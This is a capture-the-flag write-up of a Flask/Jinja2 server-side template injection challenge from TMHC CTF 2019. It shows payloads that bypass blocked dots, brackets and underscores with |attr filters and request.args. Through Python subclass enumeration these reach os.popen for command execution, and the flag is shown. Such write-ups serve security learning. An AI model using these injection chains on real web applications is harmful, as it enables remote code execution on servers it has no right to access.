Information#
CTF#
- Name : TMHC CTF 2019
- Website : ctf.hackthebox.eu
- Type : Online
- Format : Jeopardy
200 - BoneChewerCon - Web#
The devil is enticing us to commit some SSTI feng shui, would you be interested in doing so?
By entering {{ 7*7 }}
as a name, eg.
http://docker.hackthebox.eu:30402/?name=%7B%7B+7*7+%7D%7D
we can see 49
displayed so the SSTI is effective.
Now let's get real:
{{ config }}
:
Also by looking at the source we can request http://docker.hackthebox.eu:30402/debug
Personal Note: python flask again and ever... boring...
Each time I try to use dir()
it ends with a 500 error.
I can't directly request request.environ
because either .
or [
are
forbidden.
I had a lot of reading:
- Exploring SSTI in Flask/Jinja2
- Exploring SSTI in Flask/Jinja2, Part II
- Cheatsheet - Flask & Jinja2 SSTI
- Jinja2 template injection filter bypasses
- Asis CTF Quals 2019 - Fort Knox
- Explaining Server Side Template Injections
- SSTI Jinja2: in Chinese but it's the best of all
Then I understood I could transform {{request.environ}}
into {{request|attr("environ")}}
,
it's making use of a Jinja filter to bypass the dot restriction:
So I can get use of |attr
to use an object attribute and array.pop(0)
instead of array[0]
.
But since .
is forbidden too I must use |attr("pop")(0)
. I can also use
|list
to convert anything as a list, |string
to cast to a string, |join
to convert from an array/list to a string, etc.
Here is a list of tricks and findings I managed to find by myself:
{{config|list|attr("pop")(0)|list|attr("pop")(0)}}
- =>
J
- =>
{{request|attr("args")|list|attr("pop")(1)}}&__class__=
- =>
__class__
- =>
{{request|attr("args")|list|attr("pop")(0)}}&''.__class__=
- =>
''.__class__
- =>
{{request|attr("args")|attr("a")}}&a=__class__
- => doesn't work
{{request|attr(request|attr("args")|attr("param"))}}¶m=__class__
- => doesn't work
{{open('/etc/passwd','r')|attr("read")()}}
- => error 500
{{request|attr(request|attr("args")|list|attr("pop")(1))}}&__class__=
- =>
<class 'flask.wrappers.Request'>
- =>
{{{}|attr(request|attr("args")|list|attr("pop")(1))}}&__class__=
- =>
<type 'dict'>
- =>
- same buy way shorther than previous payload:
{{dict}}
{{{}|attr(request|attr("args")|list|attr("pop")(1))|attr("get")("open")}}&__class__=
- => error 500
{{'Y29uZmln'|b64decode}}
- => error 500
{{ "%s - %s"|format(request|attr("args")|list|attr("pop")(0), "Foo!") }}&''.__class__
- =>
_
and.
blocked because format is evaluated before the blacklist is applied
- =>
To be able to look at GET arguments position to know their order I used this payload: {{request|attr("args")}}&__class__=&__mro__
=>
ImmutableMultiDict([('__class__', u''), ('name', u'{{request|attr("args")}}'), ('__mro__', u'')])
I can use {}.get("key")
rather than, {}["key"]
But since .
is forbidden
too I must use {}|attr("get")("key")
.
I took a look at Jinja2 builtin filters list but saw nothing able to read a file or execute commands directly.
So let's try some classical pyjail techniques:
From my last reading I found a pretty useful PoC to dynamically generate a list of Flask classes that can lead to a specific module.
Here is the list of class from Flask
context that can lead to os
.
Here is the list of class from Flask
context that can lead to open
.
But I even saw that <class 'os._wrap_close'>
is directly accessible from
<type 'object'>
sub-classes: {}.__class__.__mro__[1].__subclasses__()[132]
.
Let's check what's inside:
But unfortunatly:
Let's try a different way, another PoC from my last reading to list classes from any contaxt that can lead to a dangerous function.
Let's pick of class that looks cool:
So our goal is to obfuscate a payload that looks like this one to bypass the character limitations.
I put all the required methods that would be forbidden because of the underscore in arguments so I can access them from request.args
.
{{request|attr("args")}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__=&__name__=
=>
ImmutableMultiDict([('__subclasses__', u''), ('name', u'{{request|attr("args")}}'), ('__builtins__', u''), ('__base__', u''), ('__class__', u''), ('__globals__', u''), ('__name__', u''), ('__init__', u'')])
But it seems I don't have the same context on my side than the server.
So I used this payload to enumerate on the server (which is equivalent to [].__class__.__base__.__subclasses__()
):
And I got:
On my side [].__class__.__base__.__subclasses__()[221]
gives <class 'jinja2.utils.Joiner'>
.
On the server side <class 'jinja2.utils.Joiner'>
is at index 137 instead. So I tried to target another class.
The unobfuscated target paylaod is:
Arguments order:
{{request|attr("args")}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__=
=>
ImmutableMultiDict([('__subclasses__', u''), ('name', u'{{request|attr("args")}}'), ('__builtins__', u''), ('__base__', u''), ('__class__', u''), ('__init__', u''), ('__globals__', u'')])
Obfuscated working payload for [].__class__.__base__.__subclasses__()[137].__init__.__globals__
:
But I'm facing a big problem now: ['__builtins__']
is available on my computer
and not on the server.
Instead I have only:
It's here I understand the target is under python 2 and not 3! I don't know why I assumed the target was using python3, I made a huge mistake and lost quiet some precious time.
Ok let's forget Namespace
and use Popen
which seems nearer to exec
logically.
Popen
is at index 303 on my side but 243 on server-side.
The unobfuscated target paylaod is:
Arguments order:
{{request|attr("args")}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__=
=>
ImmutableMultiDict([('__subclasses__', u''), ('name', u'{{request|attr("args")}}'), ('__builtins__', u''), ('__base__', u''), ('__class__', u''), ('__init__', u''), ('__globals__', u'')])
Obfuscated working payload for [].__class__.__base__.__subclasses__()[137].__init__.__globals__['os']
:
I can append |attr("system")("ls")
but I will work only the 1st time, after
that I need to restart the docker, and I won't see the display on the return
value of the command.
To get the display I'll use .popen("ls").read()
instead of .system("ls")
So I had the following results: app.py flag static templates
.
So here is the flag.
Final unobfuscated target paylaod is:
Final obfuscated target paylaod is:
Here is the flag: TMHC{__\.{{str8_0utt4_h311}}./__}
.
Conclusion: I think I overclomplicated stuff, they must be an easier payload but at least I learnt so much stuff. Thx makelaris for this challenge.